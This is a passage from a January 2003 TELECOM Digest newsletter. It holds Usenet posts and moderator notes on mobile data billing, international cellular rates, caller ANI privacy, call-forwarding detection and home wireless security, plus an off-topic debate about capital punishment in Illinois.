$50/mo. CAD Not a bad deal and for the most part the system worked > pretty well. The aircard itself was pretty expensive at $599 CAD, but > since I'm completly mobile, living in my motorhome, this seemed like a > pretty good solution. > Things went along fine until the contract ended, when without > informing me they switched the billing to 5MB for $30. Classic bait > and switch. So I was happily surfing away as the $$$ piled up. And > boy do they pile up fast. That is why I gave a huge Y-A-W-N when ATT offered GPRS. I'll stick with my CDPD connectivity at a flat $55/month for unlimited access, at least until they pull the plug on CDPD. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. ------------------------------ Reply-To: Sellcom Tech Support From: Sellcom Tech Support Subject: SBP382 Date: Wed, 15 Jan 2003 21:13:08 -0500 Organization: http://www.sellcom.biz My ID with you is sbp382. I am posting in groups as support@sellcom.com I am a paid subscriber to athenanews.com . My posts to comp.dcom.telecom are not showing up and it is a moderated newsgroup to which I am a member. Regards, Steve Winter SELLCOM [TELECOM Digest Editor's Note: Steve, I do not know what the problem is. *If* you get an autoreply message from me, then I got the message, and always use it or return it. If you *did not* get an autoreply from me, then in most instances that means I did not get the message. You cannot post direct to c.d.t. (but then, I think you knew that) since c.d.t. is moderated and when your *unmoderated* submission hits a site in the news stream, it would prompty be emailed to me for handling, and you would get that autoreply message. If you are mailing me a message that Spam Assassin considers to be spam, then you will *not* get an autoreply message, and it is possible (but not likely) I would not see it prior to flushing it. But I do usually look through the spam bucket each day prior to dumping it, and take out the items I find in there which belong in the Digest. That person does not get an autoreply as a result, but he *does see his item in the newsgroup.* (You should have gotten an autoreply on this last message for example.) If you have good email connectivity, the autoreply will be back to you in a few seconds or within a minute of your original posting. If you do not get that autoreply, then write me again as a PERSONAL message (not much text, do not trip the assaassin again) just saying 'please check the bucket for my message'. I'll do that, and if you hit the bucket I will pull it out and use it. Other readers: please follow this same advice given to Steve ... you know how your email flows and what to look for. Sorry about that, Steve. PAT] ------------------------------ Subject: Re: Pop-ups Add New Twist Organization: Excelsior Computer Services From: joel@exc.com (Dr. Joel M. Hoffman) Date: Thu, 16 Jan 2003 01:41:07 GMT > 4) Turn off cookies. > 5) Turn off Java. > 6) Turn off Javascript (""Scripting"" in MS IE. Note that MS IE has > several entries for different kinds of scripting. Turn off each > and every one). > >[TELECOM Digest Editor's Note: Do you realize how many web sites there >are -- nice, good, seemingly innocuous sites which refuse to let you >in if you do the things Walter suggests above? Yahoo is one example: My suggestion is either: 1. use Linux, in which case you can run the browser as a powerless user, so that the browser can't do too much damage; or 2. (more severe than one) use two computers, one for your important data and one just to run the web browser. You can run vnc on the browser computer so you can access it directly from your main computer. [TELECOM Digest Editor's Note: Right now, it seems my Windows XP is *very sick*. I think if I can raise the money I am going to have to dump this machine entirely, and go with Linux. The trouble is, I have many very wonderful Window-based programs which will not run on *nix. I do not know if I will ever get it straightened out again. :( PAT] ------------------------------ From: Paul Wallich Subject: Re: FCC's Powell Concerned by Media Concentration Date: Wed, 15 Jan 2003 20:41:03 -0500 Organization: PANIX Public Access Internet and UNIX, NYC In article , Monty Solomon wrote: > By Andy Sullivan > WASHINGTON, Jan 14 (Reuters) - U.S. officials will probably not > radically lift ownership limits on television stations, newspapers > and other media when they take up the issue this year, the top > telecommunications regulator told Congress on Tuesday. Federal > Communications Commission Chairman Michael Powell said the agency > would not allow one company to dominate local airwaves or other media > outlets when it revisits the long-standing rules under court order. > - http://finance.lycos.com/home/news/story.asp?story=30905021 Isn't that what they've been saying all along, even as they lifted restrictions on multiple outlet ownership? Perhaps Powell's definition of ""dominate"" is a little like Bill Gates's definition of ""monopolize"" -- it doesn't kick in until well above the canonical 99 and 44/100 percent. paul ------------------------------ From: Linda Davis Subject: Re: Illinois Death Row is Empty Today Date: Wed, 15 Jan 2003 22:11:45 -0500 Linda Davis wrote: > Patrick Townson wrote: >> In a *very courageous* move on Saturday, Illinois governor Jim Ryan >> totally vacated the state's 'death row', saying that there were too >> many inconsistencies and problems with the way in which the prisoners >> got there. All the inmates were commuted to much lesser sentences; >> four (that makes about 12 in total) were totally pardoned as a result >> of police/prosecutor misconduct in their trials. A few of the more than >> 108 residents of death row were commuted to life in prison. A few others >> were commuted to 40 year sentences. > So you think that the prisoners might be innocent or unfairly punished by > juries and the next rounds of appeals. But you were in such hurry to > celebrate excusing brutal murders that you don't care at all that the > convicts who Ryan commuted to life or 40 years in prison just lose their > future appellate review process. While they were on death row, they were > awaiting their right to further appellate review. That's gone. What could > be more arbitrary then removing the right to an appeal that these convicts > no longer have? If these convicts were really innocent, tough luck now. > With a stroke of the pen Mr. Ryan overruled the decisions of 167 judges and > juries. He complained that the death penalty is arbitrary, yet there is > nothing more arbitrary then across the board executive orders. > So who were these nice people Mr. Ryan just excused? ""In 1999 with > the help of his girlfriend, Fedell Caffey shot and killed a > 28-year-old pregnant mother, her 10-year-old daughter and her > 7-year-old son. If that weren't horrific enough, the two then carved a > nearly full-term unborn child from the mother's body with a pair of > scissors. > Then there's Howard Bean, who disguised himself as a priest and then > handcuffed and shot 81-year-old Dorothy Polulach inside her home. Or > Lenard Johnson, who murdered an 11-year-old boy he'd been babysitting > and was holding a knife to the throat of one of two girls he'd raped > when the police arrived. ""As far as the evidence goes, it's pretty > overwhelming against my client,"" Johnson's public defender was quoted > as saying. > There's also the odor of bad faith. Barely a month ago, Governor Ryan > met with families of the people raped or killed or attacked by these > inmates and told them he was leaning against a blanket reprieve. ""They > have a right to feel betrayed,"" the Governor admitted after his > speech."" -excerpt from ""Wall St Journal"" >> Police around Chicago area are today gunning for the governor, to say >> the least. They hate him. Police do not like DNA testing either, >> except when the results go the way they want. > It is interesting you can stereotype all ""Police"" and tell us what > ""Police"" hate and what ""Police"" want. > [TELECOM Digest Editor's Note: Ms. Davis, I can stereotype all police > in the same way you can stereotype all death row inmates. Except I did not stereotype all death row inmates. I did pointed out that the ones I was mentioning are convicted murderers, which is a plain fact, not a stereotype. By contrast, Mr. Ryan overruled juries and judges in every case and there is nothing more arbitrary than that. If he cared so much about the poor murderers he commuted, he just damned them instead because he robbed them of the appellate review they had coming. Clearly that does not bother you. Were you opposed when Mr. John Wayne Gacy was sentenced to death in Illinois, a well-liked murderer who had brutally entrapped and murdered scores of vulnerable young boys, then disposed of their body parts? Are you opposed to the drive by murderers involved in last year's serial killings in the metro Washington area receiving a sentence to die, a sentence much more humane then their own killings? Or did you have tears to shed for poor Mr. McVeigh who horribly mass killed hundreds of innocent victims, and destroyed the lives of their surviving family members forever? > One good stereotype deserves another, wouldn't you agree? You say > death row inmates are all guilty as hell; I suggest many/most > Chicago area prosecutors and police officers are going to the same > place. I *NEVER* said anything of the sort. You put those words there and attack what I did not write. I did point out if they are truly innocent, then robbing EVERY one of them (those who were commuted in IL) of their appellate review across the board without trial does not do a damned thing to help them, it just condemned them to prison in an arbitrary manner. > They don't even begin > to deal in good faith. All the truly guilty people on death row are > not worth one innocent person there. And Ryan found not one; not two, > but *four* totally innocent men on death row, to say nothing of the > *13 other cases* of innocence there which your beloved system got > around to discharging without so much as a single 'we are sorry for > this' over the past few years. Ryan only totally released four, the > system in its good time released 13 others before he got involved. No he didn't. He found 4 men that may not be guilty. I agree, certainly they should not be killed. But don't toss the baby away with the bath water. If DNA is strong enough to indicate those men are indeed innocent, then it is strong enough to indicate those who are guilty. The people he arbitrarily commuted will never get the appeal that last week they still had waiting for them. He overruled scores and scores of juries, trials, and judges without any evidence to suggest that there was a damn thing wrong with any of them. ""Despite ample claims to the contrary, researchers are now finding that the death penalty is a deterrent. Researchers at Emory University looked at nearly 6,000 death sentences and compared them to the murder rates and likelihood of being sentenced to death in 3,000 counties. They found every execution saved as many as 18 would-be-murder victims. Other studies done at the University of Colorado and the University of Houston also found that executions saved lives."" -WSJ [TELECOM Digest Editor's Note: Normally, about this point, Ms. Davis, I have to draw a line and ask the participants to move their debate to private email. Since I am one of the more 'controversial characters' around here I have to take my own medicine occassionally. But because I am the moderator here in this theoretically telecom-based newsgroup, I try to be fair on 'controversial subjects' where I am an active participant in the discussion. I try to think of myself as a 'user' here, albiet a 'special' one, in charge of editing the messages and presenting them. With the above in mind, I will make my final comments on this topic 'in public' in the context of this message thread, I will then allow you a final rebuttal (if you wish to write one) which I will also publish, then, let's you and I take the entire thing to private email. That's what I tell everyone else around here, and if it were you and some third-party I would say it now, but I am sensitive to the fact that Editor's Notes in effect get the final word, and I don't wish to abuse my position here like that. So now, here is my final word: I do not *ever* support a *forced* death penalty (the kind where you are led away then injected). I would support a *voluntary* death penalty. If that sounds like an oxymoron, let me explain. After a person crossed some arbitrarily defined point in society (either a henious murder, or similar, if *I* were the judge (which I never would agree to be) then I would inform the person thus: ""Mr. Gacy/McVeigh/ Whoever, it was the decision of the jury that you can no longer be accepted as a member of society. They/we no longer feel any form of rehabilitation for you is possible or desirable. You will be detained in custody while YOU reach a decision; (1) if you feel, as most of us would, that what remains of your lifetime is not worth living in the confines of a prison, then YOU may ask the court to order your death. You may choose the method of execution: firing squad, lethal injection, electric chair, gas chamber, suicide, your choice. It will be a humane and merciful and quick death. (2) if you prefer life in the hellish confines of a prison, in effect afraid to face death and whatever that may entail, then you may choose to accept confinement in a prison for the rest of your natural life (or maybe present age plus 40 years or death, whichever comes first.) In any event, Mr. Gacy/McVeigh/whoever, **you can no longer be a member of society**. Too many people have been harmed by your life. You make the choice. We will give you thirty days to reach a decison. If YOU choose to end your own life in the next thirty days, we will honor that decision. Our goal is not to seek revenge and have a public spectacle of your death. No one is going to guard you and keep you alive for thirty days in order to get the Last Laugh by walking you the 'last mile' to the execution room. If it gives you some dignity to end your own life voluntarily and not force us to do it for you, then do so. After thirty days, if you have not reached a decision or refuse to respond, then the court will order your lifetime in prison. Most guys would be very afraid of that choice. But the choice has to be yours alone, Mr. McVeigh/Gacy. To aid you in reaching the best decision, your cell will have a telephone, which you are free to use as you wish to talk to your lawyer, your family and your friends. Use them to help you make this important decision. The quickest way to get that telephone yanked out of the wall and pitched in a trash can, Mr. McVeigh/Gacy, is to make any contact at all with your victims and their families. Your phone calls will be free of charge to you, but will be monitored to insure your compliance with the 'no contact with victims' rule. Now go back to your cell, sir, and reach your decision. We find the whole process to be most distasteful, and we do not intend in any event to have a revenge-getting spectacle. We do not 'take revenge', we simply reach decisions that are best for society in general. Under extraordinary circumstances, your decision can be extended for a single additional thirty day period, on request of your attorney or family members, provided you agree to the single time extension. You see, sir, the victims of your crimes also have rights."" That, Ms. Davis, is how *I* would deal with it. Like the problem of unwanted animals in the Independence Animal Shelter (maybe your town as well?) being 'put to sleep' when the shelter gets overcrowded, what to do about miscreants in our human society is a dreadful problem, and at best, putting them to death is a shitty answer to a shitty problem. Something has to be done, and I think Governor Ryan made a difficult choice under a shitty set of circumstances. That's what leaders do. Please reply if you wish, I will print it without any further commentary, then *please* let's continue it in private email. Thanks. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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Townson Re: Tokelau, Pitcairn and Other Obscure Places (Herve Andrieu) Re: Tokelau, Pitcairn and Other Obscure Places (Darryl Smith) Re: New Billboards Sample Radios as Cars Go By Then Adjust (Joel Hoffman) Re: Can I Detect Call Fowarding? (joe@obilivan.net) Re: ANI and TracFone (Justin Time) Re: ANI and TracFone (Stanley Cline) Re: How to Detect an 'Invasive' MAC (Jared) Re: AT&T Wireless Internet at $4000/Month!! Look Out!! (Justin Time) New Link For Your Review (Daniel Baker) Re: Illinois Death Row is Empty Today (Gordon S. Hlavenka) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Herve Andrieu Subject: Re: Tokelau, Pitcairn and Other Obscure Places Organization: 3U Telecom Inc. Date: Thu, 16 Jan 2003 07:48:55 GMT Mark J Cuccia wrote in message news:telecom22.235.1@telecom-digest.org: > In more recent years, overseas/international calls to points outside > of +1 (NANP) can have different rates to numbers within the same > country code depending on whether or not the destination number/number > range is landline or wireless/cellular... Or ""personal"" numbers > (similar to the +1-500 SAC fiasco in the US a few years ago). Domestic > calls to cellulars *within* that country are usually *VERY* expensive, > the calling party paying the ""airtime"" (mostly GRAVY for the telcos > and wireless providers). And a vew years ago, they started demanding > that foreign overseas telcos and carriers pay this extra ""gravy"" on > calls to cellular originating from overseas. > In most (at least many) countries around the world, wireless service > is within its own area codes or numbering range. And these countries > have calling-party-pays (exhorbitant) airtime/toll/etc. ""gravy"" to > call cellular phones. And there are those trying to force this on > cellular and landline customers within in the US and Canada as well! :( > So now, depending on the carriers involved, it *might* now be possible > to call ""900-like"" numbers *within* a distant country/country-code, > not be blocked, and also be charged the expensive PAY-PAY-PAY-per-call > SLEAZE rate. Your article was really very interesting and seemed very well documented. However I think that when you say ""there are those trying to force this on celullar and landline customers within the US and Canada as well!"" is not completely exact. Long distance providers are not trying to force US and Canadian customers to pay for the extra charge when calling a cellular phone in a country. In fact this is just that long distance providers need to have rates reflecting the reality of the market. Let's take for example the French market which is quite representative of all European markets. 10 years ago there were no cellular phones in France. At that time there was only 1 rate per provider for calls to France from the US. Cellular phones in France have a specific area code (+336 is the code for all cellular phones in France, +331,+332,+333, +334,+335 are the codes for landlines in France, and +338 is the code for Non Geographic Numbers, premium numbers like the +1-900 numbers and toll free numbers like the +1-800). The business model of cellular phone providers in France is quite different from the providers in the US since the cell-phone user does not pay for the incoming calls while the person calling has to pay a very expensive price to call the cell-phone user as you mentionned (a regular local call with the French main carrier is $0.03 per minute while a call to a cell-phone user is between $0.23 and $0.35 per minute). The reason is that the cellular phone providers take a very expensive fee from any telco provider who wants to send traffic to cellular phones. They don't care where the calls come from (local, national, international) everyone must pay the high price to call a cellular phone. Ten years ago, with no cellular phones in France, that was not a problem for US long distance providers and they just had one rate for calls to France. Five years ago, I don't remember the exact figures but there was certainly something like 10% of all lines in France that were cellular phones so that was still not a problem for US long distance providers since their rates were based on average calls. But nowadays, there are as much cellular phone lines than landlines in France. So when a US customer calls to France he is more likely to call a cellular phone than he was before: nearly 50% (in fact people prefer to call landlines for their international calls so there are still less calls to cellular phones). Since long distance providers all have to pay the fees to the French cellular phone provider, either they have to increase their average rate or they just split it in a lower price for calls to landlines and a more expensive price for calls to cellular phones. And that's what's currently happening. And this is not limited to US and Canadian long distance customers. This applies to all long distance customers worldwide. When a French customer wants to call a cellular phone in Germany, he has to pay a higher price than if he were calling a landline. I hope my explanation was clear. Herve Andrieu 3U Telecom Inc. http://www.3utelecom.com ------------------------------ From: Darryl Smith Subject: Re: Tokelau, Pitcairn and Other Obscure Places Date: Thu, 16 Jan 2003 19:23:39 +1100 For completeness I will fill in a bit more about East Timor. Following the seperatist elections a few years back they had another 'code' between the +670 and +672. Between these the entire country was basically ravaged in a slash and burn operation by the outgoing administration basically leaving no communications. Thus the Australian Army 'invaded' to bring law and order as a peace keeping force. One of the first things that they set up was a phone system. Telstra provided a cell phone system for the capital for the use of the Army and others (Members of the Army were banned from taking their personal cellphones though when they invaded). Anyway the way the cell phone system was set up was to place the cell site 'officially' in South Australia a few thousand miles to the south. This meant that the country code was +61 for Australia, and the cell site was in the South Australian area code of 08. All users of the cell phone system would have used cell phones with one of the Australian mobile prefixes -- such as +61417 +61418 or +61419 for Telstra Mobile Phones. Aparently the GSM cell site was linked by satellite from Australia. Darryl ------------------------------ Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Organization: Excelsior Computer Services From: joel@exc.com (Dr. Joel M. Hoffman) Date: Thu, 16 Jan 2003 15:12:28 GMT > As part of a $20 million investment, Mr. Langeland, a Sacramento-based > entrepreneur, has erected 10 billboards that can display both video > and text and can be programmed with changing messages and images. In > addition, the billboards include fledgling technology that is designed > to identify the radio frequencies of passers-by. Just to be clear, is the claim here that the sign can detect what radio station I'm listening to? It cannot. At least, it cannot do so electrically or electronically. I suppose some method could be set up to see how drivers behave based on when advertisements occur, but cars don't emit RF energy based on what radio station is tuned. -Joel ------------------------------ From: joe@obilivan.net Subject: Re: Can I Detect Call Fowarding? Date: Thu, 16 Jan 2003 15:03:59 GMT Organization: Cox Communications Wayne Price wrote: > Is it possible to detect if the phone number I am calling is forwarded > to another number? Or is it possible to block call forwarding on > numbers that I call? Nope and nope. [TELECOM Digest Editor's Note: Joe is 99 percent correct. The two exceptions I know of are when (1) your call is forwarded to a non-ESS type switch. The 'ringing signal' and 'busy signal' sound 'different'. You have to be on ESS in order to subscribe to call-forwarding and the other features like that. On ESS, the ring is different in the sense it begins immediatly. With crossbar and stepping switches (are there any of them left at all?) the ring is ever so slightly delayed in starting, and the ringing cadence is ever so slightly different. So if you are on an ESS (you would have to be, to enable/use the feature) then if you forward to a number on the same switch you won't hear any difference at all. If you forward to a number on a different ESS switch it is hard for the caller to tell the difference. If you forward to a non-ESS number, the caller definitly knows the call is going off the switch it was aimed at. (2) If the call recipient has forwarded to a long distance number, the caller can usually tell this by the slight delay in the call getting set up. On forwarding to same-switch numbers, you can't notice any *audible* difference, which is the only thing you can detect anyway. (3) if the recipient has forwarded to an international number, the caller can definitly notice a different ringing cadence/busy signal, etc. Since most of our readers are too young to remember stepping switches or crossbar switches, they probably do not know what they sounded like and assume all call setups sounded like they do today. That's why Joe is 99 percent correct. Regards 'do not forward' instructions by the person placing the call wasn't there a dialing prefix code at one time intended to accomplish that? Seems to me *03 or *07, something like that as part of the dialing string was written up as a way to do that, but not to widely implemented. Another thing of interest about call-forwarding, which depends on the generics in the particular switch: X forwards his phone to Y, then later on Y forwards his phone to Z. In some generics, X reaches Y and stops, ringing Y without regard to what that guy asked for. The idea is, X only wanted his calls to go to Y, and no further. Calls directly dialed into Y get forwarded to Z, as that subscriber requested. In other generics, chain-forwarding applies, and X will 'make the trip' all the way to Z, or if Z has forwarded on to A, B, or C then X will keep on 'making the trip' until it gets to the end of the line. Part of the rationale also was to (1) eliminate the possibility of an endless loop, where X forwards to Y, Y to Z, then Z back to X, and the phones kept forwarding infinitly, never ceasing until all the circuits in the central office or trunks between offices were all in use. The other rationale was a bit more mercenary: X forwards to local number Y and Y forwards to [local to him, Z] however Z is not local to X. Now X avoids a toll call when trying to reach Z. I had a case like that back in 1974 when Chicago first got ESS in the WABash CO downtown. Getting cut from stepping switch to ESS overnight (bypassing panel and x-bar totally in the process, that's how old WABash was to begin with) was a cultural shock to start with, but we immediatly started playing games with ESS and call-forwarding to learn what we could do. My audiotext service on 312-HARrison 7-1234 was quite popular (several thousand calls each day) and one of my regular user/listeners volunteered to help me. He lived in Joliet, IL and like me at home had 'extended unlimited call pack' on his residential phone line. Joliet, in that little corner of the 815 area also offered unlimited/extended call pack entitling one to call all over in the 312 area for units (non-coin-rated) charges only. He volunteered to put a second phone line in his house, and leave his first line *permanently on call forwarding to 312-427-1234* for me. (The second line was so he could receive incoming calls for himself. He made his personal (outgoing calls) on the extended unlimited call pack line. By turning off the bell on his first line, he was not annoyed by the frequent ringing at all times of the day and night. (Call forwarding makes your phone ring one time, as a 'reminder' to turn it off when you are at home.) Now my audiotext phone service could get local phone calls not only from Chicago area residents at no charge but also from anyone in the local to Joliet area who dialed that 815-727-xxxx number. What caused the tandems to collapse, so to speak was I forgot that Illinois Bell also loved to listen to my daily three minute recorded screed. (With what I had to pay for a couple dozen lines in a hunt group and the associated recorded message equipment for each line [you got it *all* from Ma Bell in those days] I was one of their 'better' small business customers.) With all that equipment and several thousand incoming calls each day which earned message units for Mother, I should have known they would enjoy listening to me every day also. One day I concluded by announcing on the recorded message, ""if you are not in Chicago, you can listen to this message by asking your operator for 'Enterprise 5468' or in the Joliet local calling area at 815-727-xxxx."". As the Information Operator would say, Bell decided to 'please make a note of that number'. The Enterprise number was fine with Bell, since that was their tariffed offering prior to 800 'toll-free' service. But 815-727, that was being a bad dog! I got a call the next day on my personal line in the audiotext office (WEbster-9-4600) and told 'it' (the permanently call-forwarded residential rated extended unlimited line) was being turned off. I also got a phone call the same day from my friend in Joliet who said the business office had called him also and reamed his back orifice out properly, and warned him against doing that any further. So I had to get my Enterprise number expanded to include the Joliet and Crystal/Fox Lakes areas of 815 as well as the northern Indiana portion of 219 which I already had anyway. As Ma Bell explained to me, 'we know best'. PAT] ------------------------------ From: a_user2000@yahoo.com (Justin Time) Subject: Re: ANI and TracFone Date: 16 Jan 2003 07:22:47 -0800 Organization: http://groups.google.com/ atlanta@att.net (K. Faraday) wrote in message news:: > Hello, > I have an old analog TracFone and I was wondering if when I call > somewhere that has ANI (not Caller ID) such has a business or 800 > number, if they get my name and address. I know they ALWAYS get the > phone number but I wasn't sure about the other info. TracFone does > have my name, address and phone number in their records but since this > is a prepaid phone I did not know if it goes out along with the ANI. > For instance, if I call a company for product info. I don't want them > to end up having my name and address to send tons of junk mail or > start calling my home number with sales calls. Again, I realize they > get the cell number but that's OK. > Hope this made sense. > Thanks to anyone who can answer. > Kelly > [TELECOM Digest Editor's Note: Have you tried using that phone to call > yourself at a number you control with caller ID to see how it looks? > That would be about the easiest way to tell what is being sent. I know > early on I tried using my (original) AT&T cell phone to call myself > and look at the caller-ID screen when the call came through. I also > used a very old Motorola bag phone (which I have on prepaid service) > to call myself at my home number. Depending on the caller ID box -- I > have three of them, all stand-alones from different manufacturers, > they would (using the old Motorola bag phone) either have nothing at > all to say other than the number, or it would identify me as 'wireless > caller' and the number. PAT] Pat, ANI reports the called number and origination point. There is no information regarding the identity of the caller. I used to have to pour through megabytes of ANI information on the 800 number lines we had to verify the number of times a caller stated they called and the number of times they actually called. (The inflation rate of perceived vs. actual calls was never less than 400%. - And to do the calling, I had to have at least the entire 10 digit number so I could sort the database by originating number by date and time. That was the only way you could find a business with multiple outbound lines.) The ANI data delivered along with a call is often used to form a query into a database the holder of the number builds with customer information. If you have called before from that number and you are in the company's database, they can greet you by name and have an idea about the services you have requested in the past. A great example is (was)Domino's Pizza. They track the number and the order. As you have to give a delivery address Domino's can then target special coupons for pizza and other items you may want to buy based on your past preferences. They can also build demographic data and know what to feature in their television and print ads for a specific area. So, if you call a company on their toll-free with your TracPhone (or even your own land line) does the company get your name and address? No, they don't. They do get the originating telephone number, the name of the city and state where the call originated and the time and length of the call. ANI is not Caller ID. ANI cannot be blocked -- it's billing information the holder of the toll-free number is entitled to (they ARE paying for the call) and does not have any personal information regarding the billing name or directory name and address of that number. The only people with a ""magic"" database that gives names and addresses for all callers are those associated with emergency public safety numbers. When you call 9-1-1 as an example, the ANI data does a ""database dip"" and returns the location and billing name for that telephone number. In the case of cell phones, you pretty much get ""Wireless Call"" or Carrier Name on the display. Rodgers Platt ------------------------------ From: Stanley Cline Subject: Re: ANI and TracFone Date: Wed, 15 Jan 2003 23:20:00 -0500 Organization: Roamer1 Communications - Dunwoody, GA, USA Reply-To: sc1-news@roamer1.org On 15 Jan 2003 08:48:25 -0800, atlanta@att.net (K. Faraday) wrote: > I have an old analog TracFone and I was wondering if when I call > somewhere that has ANI (not Caller ID) such has a business or 800 > number, if they get my name and address. I know they ALWAYS get the Not unless they already have your wireless number associated with your name and address by virtue of you having an account with them, etc. Besides, businesses won't even always get your number via *ANI* as wireless ANI is wildly inconsistent; some wireless carrier switches send customers' actual wireless numbers as ANI, while others send ""trunk"" numbers that have nothing at all to do with the customer -- and may not even be in the same state as the wireless customer's phone number, home, or office, or where the customer is physically located when they make the call. My favorite example of the latter: one very small, rather unusual, rural wireless carrier sends a Yuma, **Arizona** number -- which just happens to be the carrier's roamer access number -- as BOTH CALLER ID AND ANI on any and all calls placed from a town it serves in rural northeastern **Tennessee**! (The carrier actually backhauls its lone cell site in that town -- and cell sites in other areas in at least a half-dozen other states -- all the way to Yuma ...) Caller ID name for such calls (assuming the LEC serving the called party is Qwest, or has access to Qwest's name database like BellSouth does) is the name of the carrier, of course ... ;) Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ ""Never put off until tomorrow what you can do today. There might be a law against it by that time."" -/usr/games/fortune ------------------------------ From: jared@hwai.com (Jared) Subject: Re: How to Detect an 'Invasive' MAC Date: 16 Jan 2003 08:54:39 -0800 Organization: http://groups.google.com/ So one does what one can and encrypts one's data, I guess. Sounds like what I should do , in addition to the previously outlined steps (change SSID, no DHCP server, WEP) is designate one server behind the firewall as proxy and set up VPN tunnels to the workstations on the LAN. I just don't know what else I can do. Anyone ever set up Win2K IPSec to FreeS/WAN connections? Like I don't have enough FM to R(T) :-). Thanks for the discussion. As usual in this newsgroup, I learned something useful. Best regards, jh [TELECOM Digest Editor's Note: You know, Jared, I've been the moderator here for a while now, and I continue to learn new things here by reading this newsgroup each day also. PAT] ------------------------------ From: a_user2000@yahoo.com (Justin Time) Subject: Re: AT&T Wireless Internet at $4000/Month!! Look Out!! Date: 16 Jan 2003 06:29:47 -0800 Organization: http://groups.google.com/ Paul Erickson wrote in message news:: > Forwarded from alt.internet.wireless - this is quite a story. > ----- Original Message ----- > From: ""G. Barber"" > Newsgroups: alt.internet.wireless > Sent: Wednesday, January 08, 2003 2:38 AM > Subject: AT&T wireless internet at $4000 a month!! Look out!! > Jan 7/03 Vancouver, Canada > I believe I may have received the largest bill AT&T has ever > fabricated for one month of wireless internet access. $3996.33!! Can > anyone top this or have you received a similar bill. > A little background. I wanted wireless internet access from my laptop > and decided on the PCMCIA Sierra Wireless Aircard 750, using the new > GPRS connectivity through Rogers AT&T. They had a promo package, and > I signed a six month contract for unlimited internet access for > $50/mo. CAD Not a bad deal and for the most part the system worked > pretty well. The aircard itself was pretty expensive at $599 CAD, but > since I'm completly mobile, living in my motorhome, this seemed like a > pretty good solution. > Things went along fine until the contract ended, when without > informing me they switched the billing to 5MB for $30. Classic bait > and switch. So I was happily surfing away as the $$$ piled up. And > boy do they pile up fast. Sounds like a case of ""I didn't read my contract so I shouldn't be held liable for MY stupidity."" ------------------------------ From: Daniel Baker Subject: New Link For Your Review Date: Wed, 15 Jan 2003 21:33:15 -0600 Our site has just recently been introduced and we are in the process of identifying similar websites that our visitors would be interested in. The website is: www.TelephoneServiceDirectory.com The title is: US Telephone Service Directory (Inside Wiring Contractors & Local Service Providers) The description is: ""U.S. Directories of: Contractors who Add and Repair Inside Wiring & Jacks AND Local Telephone Service Providers (Local Exchange Carriers)."" Thank you for considering, Daniel Baker ------------------------------ Date: Thu, 16 Jan 2003 09:05:35 -0600 From: Gordon S. Hlavenka Reply-To: nospam@crashelex.com Organization: Crash Electronics, Inc. Subject: Re: Illinois Death Row is Empty Today PAT - I have a solution to the problem of Capital Punishment. When the prosecution intends to seek Capital Punishment, they are required to state this at the beginning of the trial. My proposal is quite simple: The person who makes the declaration is noted by the court as the ""Responsible Prosecutor"" (""RP""). The RP must take an active and leading role in the prosecution of the case -- if they do not, the court will declare a more appropriate RP. In the event that the accused is convicted and later exonerated, the RP is required to serve the accused's entire (not remaining) sentence. This requirement holds in all capital cases, even if the punishment is not capital in nature. (Exoneration, by the way, means that they are proved NOT TO HAVE COMMITTED the crime. ""Getting off on a technicality"" does not kick in the RP rule.) Example: John Doe stands accused of murdering his neighbor. Jane Roe of the Prosecutor's office announces to the court that they intend to seek Capital Punishment for this crime. John is convicted on the basis of his having been in a long-standing feud with the neighbor and having stated publicly an intent to kill them. A search of John's house turns up a photograph of John, standing in his living room, smiling broadly and holding a pistol of the caliber used in the killing. John is sentenced to 25 years because the murder weapon can't be found. Ten years later, a cop's son comes forward and says his recently-deceased father confessed to having shot the neighbor while cleaning his gun. The cop's son produces the gun which ballistics tests show is the murder weapon. An investigation (using newly-developed computer analysis not available at the time of the trial) shows that detectives ""Photoshopped"" the picture. John is immediately released, and Jane must serve 25 years behind bars. (What happens to the detectives is a separate issue that can be handled under existing laws.) Had John received the death penalty, Jane would be subject to execution even if John had not yet been executed. My suggestion (which I realize will NEVER happen) keeps Capital Punishment available but discourages its use in all but the most airtight cases. Gordon S. Hlavenka www.crashelex.com nospam@crashelex.com Grammar and spelling flames welcome. Yes, that's really my email address. Don't change it. [TELECOM Digest Editor's Note: Thanks for another good suggestion on ways to handle capital punishment cases. I've heard so many sides to the arguments for and against capital punishment. Truly, it does deter; the punished person won't commit any further crimes, capital in nature or otherwise. It does not seem to deter anyone else however. As Ms. Davis pointed out in her item yesterday some magazines and newspapers and university studies believe it is a deterrent. But I don't think there are that many pre-meditated, deliberate, willful murders, at least relative to the total body count. Deterrance only counts if the action is something you can and do conciously choose to avoid having happen. If you can freely choose to not give in to your urges, desires, etc then deterrance (as a result of seeing the thing that happened to a capitally-punished person, i.e. their death) can be used as a reason for advancing capital punishment. Deterrant might be true in the case of McVeigh, but I am not sure. In the case of John Wayne Gacy deterrant would not be useful at all. (As an aside, would you believe; really believe! he was a neighbor of mine when we both lived years ago in the Rogers Park neighborhood in Chicago? He actually came out and gave us a bid on the rebuilding of a cement sidewalk behind my house. He was a contractor/construction guy by trade.) Poor John ... how could *anyone* be that twisted and mixed up mentally? Trying to deter him from raping and killing little boys by him seeing an example of what happened to guys who did that sort of thing (news reports on other killers 'getting the chair', etc) would have about as much effect on him as telling a male dog not to mount a female dog in heat. Sexual urges will not be trifled with. That sort of urge is *very difficult* to deal with, and almost impossible to 'cure'. Ditto with Larry Eyler (another former neighbor in Rogers Park; he lived less than a block away, on Fargo Street by the 